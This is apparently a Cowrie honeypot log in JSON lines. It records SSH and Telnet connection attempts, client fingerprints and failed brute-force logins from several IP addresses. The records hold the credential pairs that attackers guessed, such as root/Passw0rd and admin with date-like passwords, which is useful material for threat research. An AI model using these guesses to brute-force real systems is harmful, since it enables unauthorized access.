{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":50614,"dst_ip":"159.203.135.109","dst_port":22,"session":"e00fd67e252c","protocol":"ssh","message":"New connection: 122.168.114.167:50614 (159.203.135.109:22) [session: e00fd67e252c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:54:04.158957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:54:08.922792Z","src_ip":"122.168.114.167","session":"e00fd67e252c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:54:08.978800Z","src_ip":"122.168.114.167","session":"e00fd67e252c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:54:12.029497Z","src_ip":"106.75.222.164","session":"8ea808685be4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.179.160","src_port":34892,"dst_ip":"10.17.0.5","dst_port":22,"session":"e72a937f7453","protocol":"ssh","message":"New connection: 103.97.179.160:34892 (10.17.0.5:22) [session: e72a937f7453]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:54:14.251475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:54:14.255743Z","src_ip":"103.97.179.160","session":"e72a937f7453","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:54:14.496131Z","src_ip":"103.97.179.160","session":"e72a937f7453","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test","message":"login attempt [test1/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:54:15.360940Z","src_ip":"103.97.179.160","session":"e72a937f7453","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:54:16.572111Z","src_ip":"103.97.179.160","session":"e72a937f7453","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":9937,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff3d7fc9d437","protocol":"ssh","message":"New connection: 2.57.121.112:9937 (10.17.0.5:22) [session: ff3d7fc9d437]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:54:18.386014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:54:18.389692Z","src_ip":"2.57.121.112","session":"ff3d7fc9d437","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:54:18.485693Z","src_ip":"2.57.121.112","session":"ff3d7fc9d437","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"18111972","message":"login attempt [admin/18111972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:54:18.944338Z","src_ip":"2.57.121.112","session":"ff3d7fc9d437","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"18111970","message":"login attempt [admin/18111970] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:54:20.043329Z","src_ip":"2.57.121.112","session":"ff3d7fc9d437","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"18101972","message":"login attempt [admin/18101972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:54:21.143052Z","src_ip":"2.57.121.112","session":"ff3d7fc9d437","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"18091974","message":"login attempt [admin/18091974] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:54:22.243021Z","src_ip":"2.57.121.112","session":"ff3d7fc9d437","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.75.222.164","src_port":54734,"dst_ip":"10.17.0.5","dst_port":22,"session":"18de7c935650","protocol":"ssh","message":"New connection: 106.75.222.164:54734 (10.17.0.5:22) [session: 18de7c935650]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:54:22.413205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:54:22.418420Z","src_ip":"106.75.222.164","session":"18de7c935650","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:54:22.668633Z","src_ip":"106.75.222.164","session":"18de7c935650","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"18091970","message":"login attempt [admin/18091970] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:54:23.342428Z","src_ip":"2.57.121.112","session":"ff3d7fc9d437","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webdev","password":"webdev","message":"login attempt [webdev/webdev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:54:24.343773Z","src_ip":"106.75.222.164","session":"18de7c935650","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:54:24.444263Z","src_ip":"2.57.121.112","session":"ff3d7fc9d437","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:54:25.597080Z","src_ip":"106.75.222.164","session":"18de7c935650","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.95.59.144","src_port":44983,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5ee773c072a","protocol":"telnet","message":"New connection: 111.95.59.144:44983 (159.203.135.109:23) [session: f5ee773c072a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:54:27.315927Z"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123","message":"login attempt [postgres/postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:54:31.015930Z","src_ip":"122.168.114.167","session":"e00fd67e252c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"34.7","message":"Connection lost after 34.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:54:38.878999Z","src_ip":"122.168.114.167","session":"e00fd67e252c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":53030,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae135aa7ea84","protocol":"ssh","message":"New connection: 122.168.114.167:53030 (159.203.135.109:22) [session: ae135aa7ea84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:54:42.068818Z"}
{"eventid":"cowrie.session.connect","src_ip":"151.15.80.200","src_port":50008,"dst_ip":"159.203.135.109","dst_port":23,"session":"c13bc08cd535","protocol":"telnet","message":"New connection: 151.15.80.200:50008 (159.203.135.109:23) [session: c13bc08cd535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:54:42.472723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:54:47.900706Z","src_ip":"122.168.114.167","session":"ae135aa7ea84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:54:47.905668Z","src_ip":"122.168.114.167","session":"ae135aa7ea84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.179.160","src_port":47210,"dst_ip":"10.17.0.5","dst_port":22,"session":"6347f933a7b4","protocol":"ssh","message":"New connection: 103.97.179.160:47210 (10.17.0.5:22) [session: 6347f933a7b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:55:07.293189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:55:07.298236Z","src_ip":"103.97.179.160","session":"6347f933a7b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:55:07.533767Z","src_ip":"103.97.179.160","session":"6347f933a7b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpadmin","password":"changeme","message":"login attempt [ftpadmin/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:55:08.381506Z","src_ip":"103.97.179.160","session":"6347f933a7b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:55:09.587337Z","src_ip":"103.97.179.160","session":"6347f933a7b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"onkar","password":"onkar123","message":"login attempt [onkar/onkar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:55:16.788692Z","src_ip":"122.168.114.167","session":"ae135aa7ea84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":55420,"dst_ip":"159.203.135.109","dst_port":22,"session":"366839104dd5","protocol":"ssh","message":"New connection: 122.168.114.167:55420 (159.203.135.109:22) [session: 366839104dd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:55:21.117007Z"}
{"eventid":"cowrie.session.closed","duration":"43.4","message":"Connection lost after 43.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:55:25.516725Z","src_ip":"122.168.114.167","session":"ae135aa7ea84","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:55:28.053361Z","src_ip":"122.168.114.167","session":"366839104dd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:55:28.058783Z","src_ip":"122.168.114.167","session":"366839104dd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd","message":"login attempt [root/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:55:56.489831Z","src_ip":"122.168.114.167","session":"366839104dd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"41.7","message":"Connection lost after 41.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:56:02.792355Z","src_ip":"122.168.114.167","session":"366839104dd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.179.160","src_port":34824,"dst_ip":"10.17.0.5","dst_port":22,"session":"e498cc1a6a2d","protocol":"ssh","message":"New connection: 103.97.179.160:34824 (10.17.0.5:22) [session: e498cc1a6a2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:56:02.854844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:56:02.859689Z","src_ip":"103.97.179.160","session":"e498cc1a6a2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:56:03.095872Z","src_ip":"103.97.179.160","session":"e498cc1a6a2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wp-user","password":"password","message":"login attempt [wp-user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:56:03.948545Z","src_ip":"103.97.179.160","session":"e498cc1a6a2d","protocol":"ssh"}
